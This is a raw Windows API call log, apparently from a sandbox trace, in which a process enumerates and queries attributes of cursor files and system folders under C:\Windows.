	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nwse_l.cur" (normalized: "c:\\windows\\cursors\\aero_nwse_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2828 | out: lpFileInformation=0x127b2828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe27af499, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_nwse_xl.cur" (normalized: "c:\\windows\\cursors\\aero_nwse_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2878 | out: lpFileInformation=0x127b2878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa326b902, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa326b902, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe28218b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_pen.cur" (normalized: "c:\\windows\\cursors\\aero_pen.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b28c8 | out: lpFileInformation=0x127b28c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3291a5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3291a5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2847a11, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_pen_l.cur" (normalized: "c:\\windows\\cursors\\aero_pen_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2918 | out: lpFileInformation=0x127b2918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3291a5f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3291a5f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2847a11, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_pen_xl.cur" (normalized: "c:\\windows\\cursors\\aero_pen_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2968 | out: lpFileInformation=0x127b2968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32b7bbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32b7bbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe286db6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_unavail.cur" (normalized: "c:\\windows\\cursors\\aero_unavail.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b29b8 | out: lpFileInformation=0x127b29b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32b7bbc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32b7bbc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe286db6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_unavail_l.cur" (normalized: "c:\\windows\\cursors\\aero_unavail_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2a08 | out: lpFileInformation=0x127b2a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2893ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_unavail_xl.cur" (normalized: "c:\\windows\\cursors\\aero_unavail_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2a58 | out: lpFileInformation=0x127b2a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe28b9e2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_up.cur" (normalized: "c:\\windows\\cursors\\aero_up.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2aa8 | out: lpFileInformation=0x127b2aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ddd19, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa32ddd19, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a10a79, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_up_l.cur" (normalized: "c:\\windows\\cursors\\aero_up_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2af8 | out: lpFileInformation=0x127b2af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3303e76, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3303e76, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a36bd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_up_xl.cur" (normalized: "c:\\windows\\cursors\\aero_up_xl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2b48 | out: lpFileInformation=0x127b2b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3329fd3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3329fd3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2a36bd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3676)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_working.ani" (normalized: "c:\\windows\\cursors\\aero_working.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b2b98 | out: lpFileInformation=0x127b2b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3480c18, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3480c18, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2d0a5d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_working_l.ani" (normalized: "c:\\windows\\cursors\\aero_working_l.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b2be8 | out: lpFileInformation=0x127b2be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34a6d75, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa34a6d75, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe2e3b0c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\aero_working_xl.ani" (normalized: "c:\\windows\\cursors\\aero_working_xl.ani"), fInfoLevelId=0x0, lpFileInformation=0x127b2c38 | out: lpFileInformation=0x127b2c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa351918c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa351918c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe34c6ce9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d520)) returned 1
	[0086.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_i.cur" (normalized: "c:\\windows\\cursors\\arrow_i.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2c88 | out: lpFileInformation=0x127b2c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6854e273, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x6854e273, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x6854e273, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_il.cur" (normalized: "c:\\windows\\cursors\\arrow_il.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2cd8 | out: lpFileInformation=0x127b2cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3db31c, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c3db31c, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x685743d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_im.cur" (normalized: "c:\\windows\\cursors\\arrow_im.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2d28 | out: lpFileInformation=0x127b2d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3db31c, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c3db31c, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6859a52f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_l.cur" (normalized: "c:\\windows\\cursors\\arrow_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2d78 | out: lpFileInformation=0x127b2d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c401479, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c401479, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68847dcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_m.cur" (normalized: "c:\\windows\\cursors\\arrow_m.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2dc8 | out: lpFileInformation=0x127b2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68847dcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_r.cur" (normalized: "c:\\windows\\cursors\\arrow_r.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2e18 | out: lpFileInformation=0x127b2e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6886df29, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_rl.cur" (normalized: "c:\\windows\\cursors\\arrow_rl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2e68 | out: lpFileInformation=0x127b2e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68894087, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\arrow_rm.cur" (normalized: "c:\\windows\\cursors\\arrow_rm.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2eb8 | out: lpFileInformation=0x127b2eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68894087, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_i.cur" (normalized: "c:\\windows\\cursors\\beam_i.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2f08 | out: lpFileInformation=0x127b2f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c44d733, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c44d733, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a36f91, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_il.cur" (normalized: "c:\\windows\\cursors\\beam_il.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2f58 | out: lpFileInformation=0x127b2f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c473890, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c473890, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a5d0ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_im.cur" (normalized: "c:\\windows\\cursors\\beam_im.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2fa8 | out: lpFileInformation=0x127b2fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4999ed, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4999ed, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a8324d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_l.cur" (normalized: "c:\\windows\\cursors\\beam_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b2ff8 | out: lpFileInformation=0x127b2ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4999ed, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4999ed, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a8324d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_m.cur" (normalized: "c:\\windows\\cursors\\beam_m.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3048 | out: lpFileInformation=0x127b3048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4bfb4a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4bfb4a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68aa93ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_r.cur" (normalized: "c:\\windows\\cursors\\beam_r.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3098 | out: lpFileInformation=0x127b3098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4bfb4a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4bfb4a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68acf509, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_rl.cur" (normalized: "c:\\windows\\cursors\\beam_rl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b30e8 | out: lpFileInformation=0x127b30e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4e5ca7, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4e5ca7, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68af5667, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\beam_rm.cur" (normalized: "c:\\windows\\cursors\\beam_rm.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3138 | out: lpFileInformation=0x127b3138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4e5ca7, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4e5ca7, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68b1b7c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_i.cur" (normalized: "c:\\windows\\cursors\\busy_i.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3188 | out: lpFileInformation=0x127b3188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c50be04, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c50be04, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68b41923, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_il.cur" (normalized: "c:\\windows\\cursors\\busy_il.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b31d8 | out: lpFileInformation=0x127b31d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c50be04, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c50be04, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6909ca5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_im.cur" (normalized: "c:\\windows\\cursors\\busy_im.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3228 | out: lpFileInformation=0x127b3228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c531f61, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c531f61, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6909ca5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_l.cur" (normalized: "c:\\windows\\cursors\\busy_l.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3278 | out: lpFileInformation=0x127b3278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c531f61, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c531f61, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x690c2bb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_m.cur" (normalized: "c:\\windows\\cursors\\busy_m.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b32c8 | out: lpFileInformation=0x127b32c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6915b131, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_r.cur" (normalized: "c:\\windows\\cursors\\busy_r.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3318 | out: lpFileInformation=0x127b3318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6915b131, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_rl.cur" (normalized: "c:\\windows\\cursors\\busy_rl.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3368 | out: lpFileInformation=0x127b3368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6918128f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\busy_rm.cur" (normalized: "c:\\windows\\cursors\\busy_rm.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b33b8 | out: lpFileInformation=0x127b33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57e21b, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c57e21b, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6923f965, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\cross_i.cur" (normalized: "c:\\windows\\cursors\\cross_i.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3408 | out: lpFileInformation=0x127b3408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57e21b, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c57e21b, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69265ac3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Cursors\\cross_il.cur" (normalized: "c:\\windows\\cursors\\cross_il.cur"), fInfoLevelId=0x0, lpFileInformation=0x127b3458 | out: lpFileInformation=0x127b3458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5a4378, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5a4378, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x695ab8d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1
	[0086.491] CreateFileW (lpFileName="C:\\Windows\\DigitalLocker" (normalized: "c:\\windows\\digitallocker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.491] FindFirstFileW (in: lpFileName="C:\\Windows\\DigitalLocker\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.492] CreateFileW (lpFileName="C:\\Windows\\DigitalLocker\\en-US" (normalized: "c:\\windows\\digitallocker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.492] FindFirstFileW (in: lpFileName="C:\\Windows\\DigitalLocker\\en-US\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.492] CreateFileW (lpFileName="C:\\Windows\\Downloaded Program Files" (normalized: "c:\\windows\\downloaded program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.492] FindFirstFileW (in: lpFileName="C:\\Windows\\Downloaded Program Files\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
